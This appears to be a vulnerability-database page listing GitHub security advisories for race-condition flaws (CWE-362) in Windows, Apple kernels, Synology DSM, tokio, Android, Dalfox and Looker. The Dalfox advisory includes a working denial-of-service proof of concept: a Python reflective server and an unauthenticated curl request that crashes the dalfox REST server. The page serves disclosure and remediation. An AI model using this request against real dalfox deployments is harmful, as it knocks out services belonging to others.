CWE-362
Allowed-with-ReviewConcurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Abstraction: Class · Status: Draft
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
2895 vulnerabilities reference this CWE, most recent first.
GHSA-2G3V-RQ5J-M37F
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2026-02-10 18:30Concurrent execution using shared resource with improper synchronization ('race condition') in Inbox COM Objects allows an unauthorized attacker to execute code locally.
{
"affected": [],
"aliases": [
"CVE-2025-59282"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T17:16:11Z",
"severity": "HIGH"
},
"details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Inbox COM Objects allows an unauthorized attacker to execute code locally.",
"id": "GHSA-2g3v-rq5j-m37f",
"modified": "2026-02-10T18:30:32Z",
"published": "2025-10-14T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59282"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59282"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-59282-detection-script-race-condition-in-microsoft-inbox-com-objects"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-59282-mitigation-script-race-condition-in-microsoft-inbox-com-objects"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2G4X-FQ3J-CGQ4
Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-06-08 20:12Summary
ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != "" (i.e., the attacker supplies the data field) and the target reflects at least one parameter.
Severity
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network — server binds to
0.0.0.0:6664by default; reachable by any network peer. - Attack Complexity: Low — the attacker controls both trigger conditions: the
datafield that populates the second stage's work queue, and the target URL they point at a reflective server they control. - Privileges Required: None —
--api-keydefaults to"", so no auth middleware is registered. - User Interaction: None.
- Scope: Unchanged — a goroutine panic without a
recoverterminates the entire Go process; the impact stays within the dalfox process authority. - Confidentiality Impact: None.
- Integrity Impact: None.
- Availability Impact: High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.
Note on PR #917: Commit 8a424d1 (fix: resolve data race and nil pointer panic in processParams) fixed two concurrent-safety bugs in processParams — a data race on paramResult.Chars and a nil pointer dereference on resp.Header. It did not fix the closed-channel panic reported here, which is a structural ordering bug in ParameterAnalysis itself, not inside processParams.
Affected Component
pkg/scanning/parameterAnalysis.go—ParameterAnalysis()(lines 436–448):resultschannel closed at line 438, then passed to second-stageprocessParamsworkers at line 445pkg/scanning/parameterAnalysis.go—processParams()(line 299):results <- paramResultpanics whenresultsis closed
CWE
- CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error
- CWE-404: Improper Resource Shutdown or Release
Description
Two-Stage Channel Lifecycle Ordering Error
ParameterAnalysis allocates a single results channel shared by both worker stages:
// pkg/scanning/parameterAnalysis.go:397-408
paramsQue := make(chan string, concurrency)
results := make(chan model.ParamResult, concurrency) // ← single channel for both stages
go func() {
for result := range results { // consumer exits when results is closed
mutex.Lock()
params[result.Name] = result
mutex.Unlock()
}
}()
First stage (URL parameters in p):
// lines 410-437
for i := 0; i < concurrency; i++ {
wgg.Add(1)
go func() {
processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)
wgg.Done()
}()
}
// ... feed paramsQue ...
close(paramsQue)
wgg.Wait()
close(results) // ← line 438: results is now closed; consumer goroutine exits
Second stage (POST-body parameters in dp):
// lines 440-448
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
for j := 0; j < concurrency; j++ {
wggg.Add(1)
go func() {
processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
// ^^^^^^^ — same closed channel
wggg.Done()
}()
}
When a second-stage worker finds a reflected parameter, processParams sends to the closed channel:
// pkg/scanning/parameterAnalysis.go:299
results <- paramResult // panic: send on closed channel
A Go runtime panic in a goroutine without a recover terminates the entire program. In server mode, this kills the dalfox API server process.
Trigger Conditions Are Both Attacker-Controlled
Condition 1 — dp is non-empty: dp (the POST-body parameter map) is populated in addParamsFromWordlist → setP whenever options.Data != "":
// parameterAnalysis.go:41-45
if options.Data != "" {
if dp.Get(name) == "" {
dp.Set(name, "")
}
}
The attacker sets "data": "q=test" in the JSON body, which propagates through Initialize (lib/func.go:106). With "mining-dict": true, the entire GF-XSS wordlist (hundreds of parameters) flows into dp, ensuring the second stage has ample work.
Condition 2 — a parameter is reflected: processParams sends to results only when vrs (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing vrs = true on the first matching entry from the wordlist.
PR #917 Fixed Different Bugs
Commit 8a424d1 addressed:
1. Data race: concurrent append(paramResult.Chars, char) with no mutex → added charsMu sync.Mutex
2. Nil pointer: resp.Header accessed when resp == nil → added && resp != nil guard
Neither change touches the channel lifecycle in ParameterAnalysis. The closed-channel panic is independent and remains unpatched.
Proof of Concept
# Step 1 — Attacker-controlled reflective server
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def _h(self):
qs = parse_qs(urlparse(self.path).query)
n = int(self.headers.get('Content-Length', '0'))
body = self.rfile.read(n).decode() if n else ''
bq = parse_qs(body)
v = qs.get('q', [''])[0] or bq.get('q', [''])[0]
out = f'<html><body>{v}</body></html>'.encode()
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(out)))
self.end_headers()
self.wfile.write(out)
def do_GET(self): self._h()
def do_POST(self): self._h()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18083), H).serve_forever()
PY
# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 — Single unauthenticated request terminates the server process
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18083/?q=test",
"options": {
"data": "q=test",
"mining-dict": true,
"use-headless": false,
"worker": 1
}
}'
# Expected: dalfox process exits immediately with:
# goroutine N [running]:
# panic: send on closed channel
# pkg/scanning/parameterAnalysis.go:299 +0x...
# Step 4 — Verify server is down
curl -s http://127.0.0.1:16664/health
# Expected: connection refused
No X-API-KEY header is required. The reflective server is attacker-controlled and guarantees the vrs = true condition that triggers the channel write.
Impact
- Complete server process crash on a single unauthenticated POST request — no login, no API key, no special permissions required.
- All in-flight scans are lost without results.
- The server requires a manual restart; under automated process managers (systemd, Docker
--restart=always) repeated triggering can create a denial-of-service loop. - The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.
Recommended Remediation
Option 1: Allocate a fresh results channel for the second stage (preferred)
The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.
// pkg/scanning/parameterAnalysis.go — replace the second stage block:
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
results2 := make(chan model.ParamResult, concurrency) // fresh channel
go func() {
for result := range results2 {
mutex.Lock()
params[result.Name] = result
mutex.Unlock()
}
}()
for j := 0; j < concurrency; j++ {
wggg.Add(1)
go func() {
processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)
wggg.Done()
}()
}
// ... feed paramsDataQue ...
close(paramsDataQue)
wggg.Wait()
close(results2) // close after all writers are done
Option 2: Merge both parameter maps before the single worker stage
Process p and dp entries through a single shared paramsQue and results, eliminating the two-stage design:
// Before the worker loop, merge dp into p (or into a unified queue):
for k := range dp {
// feed to the same paramsQue along with p entries
}
// Then run a single close(paramsQue) → wgg.Wait() → close(results)
This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.
Option 3: Add a recover in processParams goroutines (stopgap only)
Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:
go func() {
defer func() {
if r := recover(); r != nil {
printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options)
}
wggg.Done()
}()
processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
}()
Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.12.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/hahwul/dalfox/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/hahwul/dalfox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45090"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-404"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T15:08:40Z",
"nvd_published_at": "2026-05-27T18:16:25Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage \u2014 which processes POST-body parameters (`dp`) \u2014 is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results \u003c- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != \"\"` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 the attacker controls both trigger conditions: the `data` field that populates the second stage\u0027s work queue, and the target URL they point at a reflective server they control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so no auth middleware is registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority.\n- **Confidentiality Impact:** None.\n- **Integrity Impact:** None.\n- **Availability Impact:** High \u2014 the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.\n\n**Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` \u2014 a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`.\n\n## Affected Component\n\n- `pkg/scanning/parameterAnalysis.go` \u2014 `ParameterAnalysis()` (lines 436\u2013448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445\n- `pkg/scanning/parameterAnalysis.go` \u2014 `processParams()` (line 299): `results \u003c- paramResult` panics when `results` is closed\n\n## CWE\n\n- **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027) \u2014 channel lifecycle ordering error\n- **CWE-404**: Improper Resource Shutdown or Release\n\n## Description\n\n### Two-Stage Channel Lifecycle Ordering Error\n\n`ParameterAnalysis` allocates a single `results` channel shared by both worker stages:\n\n```go\n// pkg/scanning/parameterAnalysis.go:397-408\nparamsQue := make(chan string, concurrency)\nresults := make(chan model.ParamResult, concurrency) // \u2190 single channel for both stages\n\ngo func() {\n for result := range results { // consumer exits when results is closed\n mutex.Lock()\n params[result.Name] = result\n mutex.Unlock()\n }\n}()\n```\n\n**First stage** (URL parameters in `p`):\n\n```go\n// lines 410-437\nfor i := 0; i \u003c concurrency; i++ {\n wgg.Add(1)\n go func() {\n processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)\n wgg.Done()\n }()\n}\n// ... feed paramsQue ...\nclose(paramsQue)\nwgg.Wait()\nclose(results) // \u2190 line 438: results is now closed; consumer goroutine exits\n```\n\n**Second stage** (POST-body parameters in `dp`):\n\n```go\n// lines 440-448\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nfor j := 0; j \u003c concurrency; j++ {\n wggg.Add(1)\n go func() {\n processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n // ^^^^^^^ \u2014 same closed channel\n wggg.Done()\n }()\n}\n```\n\nWhen a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel:\n\n```go\n// pkg/scanning/parameterAnalysis.go:299\nresults \u003c- paramResult // panic: send on closed channel\n```\n\nA Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process.\n\n### Trigger Conditions Are Both Attacker-Controlled\n\n**Condition 1 \u2014 `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` \u2192 `setP` whenever `options.Data != \"\"`:\n\n```go\n// parameterAnalysis.go:41-45\nif options.Data != \"\" {\n if dp.Get(name) == \"\" {\n dp.Set(name, \"\")\n }\n}\n```\n\nThe attacker sets `\"data\": \"q=test\"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `\"mining-dict\": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work.\n\n**Condition 2 \u2014 a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 \u2192 line 299). The attacker controls the target URL \u2014 they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist.\n\n### PR #917 Fixed Different Bugs\n\nCommit `8a424d1` addressed:\n1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex \u2192 added `charsMu sync.Mutex`\n2. Nil pointer: `resp.Header` accessed when `resp == nil` \u2192 added `\u0026\u0026 resp != nil` guard\n\nNeither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled reflective server\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n def _h(self):\n qs = parse_qs(urlparse(self.path).query)\n n = int(self.headers.get(\u0027Content-Length\u0027, \u00270\u0027))\n body = self.rfile.read(n).decode() if n else \u0027\u0027\n bq = parse_qs(body)\n v = qs.get(\u0027q\u0027, [\u0027\u0027])[0] or bq.get(\u0027q\u0027, [\u0027\u0027])[0]\n out = f\u0027\u003chtml\u003e\u003cbody\u003e{v}\u003c/body\u003e\u003c/html\u003e\u0027.encode()\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n self.send_header(\u0027Content-Length\u0027, str(len(out)))\n self.end_headers()\n self.wfile.write(out)\n def do_GET(self): self._h()\n def do_POST(self): self._h()\n def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18083), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Single unauthenticated request terminates the server process\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\n \"url\": \"http://127.0.0.1:18083/?q=test\",\n \"options\": {\n \"data\": \"q=test\",\n \"mining-dict\": true,\n \"use-headless\": false,\n \"worker\": 1\n }\n }\u0027\n\n# Expected: dalfox process exits immediately with:\n# goroutine N [running]:\n# panic: send on closed channel\n# pkg/scanning/parameterAnalysis.go:299 +0x...\n\n# Step 4 \u2014 Verify server is down\ncurl -s http://127.0.0.1:16664/health\n# Expected: connection refused\n```\n\nNo `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.\n\n## Impact\n\n- **Complete server process crash** on a single unauthenticated POST request \u2014 no login, no API key, no special permissions required.\n- All in-flight scans are lost without results.\n- The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.\n- The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance \u2014 both attacker-controlled conditions.\n\n## Recommended Remediation\n\n### Option 1: Allocate a fresh `results` channel for the second stage (preferred)\n\nThe simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.\n\n```go\n// pkg/scanning/parameterAnalysis.go \u2014 replace the second stage block:\n\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nresults2 := make(chan model.ParamResult, concurrency) // fresh channel\n\ngo func() {\n for result := range results2 {\n mutex.Lock()\n params[result.Name] = result\n mutex.Unlock()\n }\n}()\n\nfor j := 0; j \u003c concurrency; j++ {\n wggg.Add(1)\n go func() {\n processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)\n wggg.Done()\n }()\n}\n\n// ... feed paramsDataQue ...\nclose(paramsDataQue)\nwggg.Wait()\nclose(results2) // close after all writers are done\n```\n\n### Option 2: Merge both parameter maps before the single worker stage\n\nProcess `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design:\n\n```go\n// Before the worker loop, merge dp into p (or into a unified queue):\nfor k := range dp {\n // feed to the same paramsQue along with p entries\n}\n// Then run a single close(paramsQue) \u2192 wgg.Wait() \u2192 close(results)\n```\n\nThis is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.\n\n### Option 3: Add a `recover` in processParams goroutines (stopgap only)\n\nCatching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:\n\n```go\ngo func() {\n defer func() {\n if r := recover(); r != nil {\n printing.DalLog(\"ERROR\", fmt.Sprintf(\"processParams panic recovered: %v\", r), options)\n }\n wggg.Done()\n }()\n processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n}()\n```\n\nOption 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-2g4x-fq3j-cgq4",
"modified": "2026-06-08T20:12:46Z",
"published": "2026-05-12T15:08:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45090"
},
{
"type": "PACKAGE",
"url": "https://github.com/hahwul/dalfox"
},
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)"
}
GHSA-2G83-93G3-QR66
Vulnerability from github – Published: 2022-05-14 01:25 – Updated: 2022-05-14 01:25Race condition in the setreuid system-call implementation in the kernel in Apple iOS before 8.3, Apple OS X before 10.10.3, and Apple TV before 7.2 allows attackers to cause a denial of service via a crafted app.
{
"affected": [],
"aliases": [
"CVE-2015-1099"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-04-10T14:59:00Z",
"severity": "MODERATE"
},
"details": "Race condition in the setreuid system-call implementation in the kernel in Apple iOS before 8.3, Apple OS X before 10.10.3, and Apple TV before 7.2 allows attackers to cause a denial of service via a crafted app.",
"id": "GHSA-2g83-93g3-qr66",
"modified": "2022-05-14T01:25:51Z",
"published": "2022-05-14T01:25:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1099"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT204659"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT204661"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT204662"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT204870"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2015/Apr/msg00001.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2015/Apr/msg00002.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2015/Apr/msg00003.html"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1032048"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2GM7-4G69-R63Q
Vulnerability from github – Published: 2022-10-20 12:00 – Updated: 2022-10-21 19:01A vulnerability regarding concurrent execution using shared resource with improper synchronization ('Race Condition') is found in the session processing functionality of Out-of-Band (OOB) Management. This allows remote attackers to execute arbitrary commands via unspecified vectors. The following models with Synology DiskStation Manager (DSM) versions before 7.1.1-42962-2 may be affected: DS3622xs+, FS3410, and HD6500.
{
"affected": [],
"aliases": [
"CVE-2022-27626"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-20T06:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability regarding concurrent execution using shared resource with improper synchronization (\u0027Race Condition\u0027) is found in the session processing functionality of Out-of-Band (OOB) Management. This allows remote attackers to execute arbitrary commands via unspecified vectors. The following models with Synology DiskStation Manager (DSM) versions before 7.1.1-42962-2 may be affected: DS3622xs+, FS3410, and HD6500.",
"id": "GHSA-2gm7-4g69-r63q",
"modified": "2022-10-21T19:01:14Z",
"published": "2022-10-20T12:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27626"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_22_17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2GP6-HHCQ-R4R4
Vulnerability from github – Published: 2022-08-10 00:00 – Updated: 2022-08-10 00:00Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-34714, CVE-2022-35745, CVE-2022-35752, CVE-2022-35753, CVE-2022-35766, CVE-2022-35767, CVE-2022-35794.
{
"affected": [],
"aliases": [
"CVE-2022-34702"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-09T20:15:00Z",
"severity": "HIGH"
},
"details": "Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-34714, CVE-2022-35745, CVE-2022-35752, CVE-2022-35753, CVE-2022-35766, CVE-2022-35767, CVE-2022-35794.",
"id": "GHSA-2gp6-hhcq-r4r4",
"modified": "2022-08-10T00:00:18Z",
"published": "2022-08-10T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34702"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34702"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2GRH-HM3W-W7HV
Vulnerability from github – Published: 2021-08-25 20:55 – Updated: 2023-06-13 22:08When aborting a task with JoinHandle::abort, the future is dropped in the thread calling abort if the task is not currently being executed. This is incorrect for tasks spawned on a LocalSet. This can easily result in race conditions as many projects use Rc or RefCell in their Tokio tasks for better performance.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "tokio"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tokio"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tokio"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0"
},
{
"fixed": "1.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tokio"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-38191"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-366"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-18T21:30:23Z",
"nvd_published_at": "2021-08-08T06:15:00Z",
"severity": "MODERATE"
},
"details": "When aborting a task with JoinHandle::abort, the future is dropped in the thread calling abort if the task is not currently being executed. This is incorrect for tasks spawned on a LocalSet. This can easily result in race conditions as many projects use Rc or RefCell in their Tokio tasks for better performance.",
"id": "GHSA-2grh-hm3w-w7hv",
"modified": "2023-06-13T22:08:56Z",
"published": "2021-08-25T20:55:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38191"
},
{
"type": "WEB",
"url": "https://github.com/tokio-rs/tokio/issues/3929"
},
{
"type": "PACKAGE",
"url": "https://github.com/tokio-rs/tokio"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tokio/RUSTSEC-2021-0072.md"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2021-0072.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Race condition in tokio"
}
GHSA-2H34-5Q7Q-G4H6
Vulnerability from github – Published: 2023-07-13 00:30 – Updated: 2024-04-04 06:05In startInput of AudioPolicyInterfaceImpl.cpp, there is a possible way of erroneously displaying the microphone privacy indicator due to a race condition. This could lead to false user expectations. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2023-21262"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-13T00:15:24Z",
"severity": "LOW"
},
"details": "In startInput of AudioPolicyInterfaceImpl.cpp, there is a possible way of erroneously displaying the microphone privacy indicator due to a race condition. This could lead to false user expectations. User interaction is needed for exploitation.\n\n",
"id": "GHSA-2h34-5q7q-g4h6",
"modified": "2024-04-04T06:05:33Z",
"published": "2023-07-13T00:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21262"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/av/+/2c8973c39478cd3c8cf11d9f27cc0556a106d006"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-07-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2H57-5PPX-7X34
Vulnerability from github – Published: 2026-04-14 18:30 – Updated: 2026-04-14 18:30Use after free in Windows Speech Brokered Api allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-32089"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-14T18:17:13Z",
"severity": "HIGH"
},
"details": "Use after free in Windows Speech Brokered Api allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-2h57-5ppx-7x34",
"modified": "2026-04-14T18:30:40Z",
"published": "2026-04-14T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32089"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H5Q-W7WV-63R9
Vulnerability from github – Published: 2025-11-19 12:30 – Updated: 2025-11-19 12:30An attacker with a Looker Developer role could manipulate a LookML project to exploit a race condition during Git directory deletion, leading to arbitrary command execution on the Looker instance.
Looker-hosted and Self-hosted were found to be vulnerable. This issue has already been mitigated for Looker-hosted instances. No user action is required for these.
